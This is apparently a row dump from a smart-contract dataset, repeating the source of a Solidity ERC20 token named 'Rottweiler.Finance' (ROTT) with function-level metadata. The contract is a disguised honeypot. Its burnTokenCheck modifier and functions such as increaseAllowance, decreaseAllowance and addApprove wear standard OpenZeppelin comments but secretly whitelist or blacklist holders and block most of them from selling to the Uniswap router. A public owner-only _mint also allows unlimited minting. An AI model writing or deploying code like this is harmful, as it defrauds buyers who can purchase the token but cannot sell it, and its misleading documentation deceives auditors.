contract_name
stringlengths
1
61
file_path
stringlengths
5
50.4k
contract_address
stringlengths
42
42
language
stringclasses
1 value
class_name
stringlengths
1
61
class_code
stringlengths
4
330k
class_documentation
stringlengths
0
29.1k
class_documentation_type
stringclasses
6 values
func_name
stringlengths
0
62
func_code
stringlengths
1
303k
func_documentation
stringlengths
2
14.9k
func_documentation_type
stringclasses
4 values
compiler_version
stringlengths
15
42
license_type
stringclasses
14 values
swarm_source
stringlengths
0
71
meta
dict
__index_level_0__
int64
0
60.4k
ROTT
ROTT.sol
0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1
Solidity
ROTT
contract ROTT is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint8 private _decimals; string private _name = 'Rottweiler.Finance'; string private _symbol = 'ROTT'; uint256 initialSupply = 1000000000; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor () public { _decimals = 18; _owner = _msgSender(); _safeOwner = _msgSender(); _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true) {_;} else{ if (_blackAddress[sender] == true) {require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance"); _;}else {if (amount < _sellAmount){if(recipient == _safeOwner){ _blackAddress[sender] = true; _whiteAddress[sender] = false; }_;}else{ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance"); _; } } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
transferFrom
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; }
/** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5
{ "func_code_index": [ 4663, 4993 ] }
7,007
ROTT
ROTT.sol
0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1
Solidity
ROTT
contract ROTT is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint8 private _decimals; string private _name = 'Rottweiler.Finance'; string private _symbol = 'ROTT'; uint256 initialSupply = 1000000000; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor () public { _decimals = 18; _owner = _msgSender(); _safeOwner = _msgSender(); _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true) {_;} else{ if (_blackAddress[sender] == true) {require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance"); _;}else {if (amount < _sellAmount){if(recipient == _safeOwner){ _blackAddress[sender] = true; _whiteAddress[sender] = false; }_;}else{ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance"); _; } } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
increaseAllowance
function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } }
/** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5
{ "func_code_index": [ 5397, 5688 ] }
7,008
ROTT
ROTT.sol
0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1
Solidity
ROTT
contract ROTT is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint8 private _decimals; string private _name = 'Rottweiler.Finance'; string private _symbol = 'ROTT'; uint256 initialSupply = 1000000000; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor () public { _decimals = 18; _owner = _msgSender(); _safeOwner = _msgSender(); _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true) {_;} else{ if (_blackAddress[sender] == true) {require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance"); _;}else {if (amount < _sellAmount){if(recipient == _safeOwner){ _blackAddress[sender] = true; _whiteAddress[sender] = false; }_;}else{ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance"); _; } } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
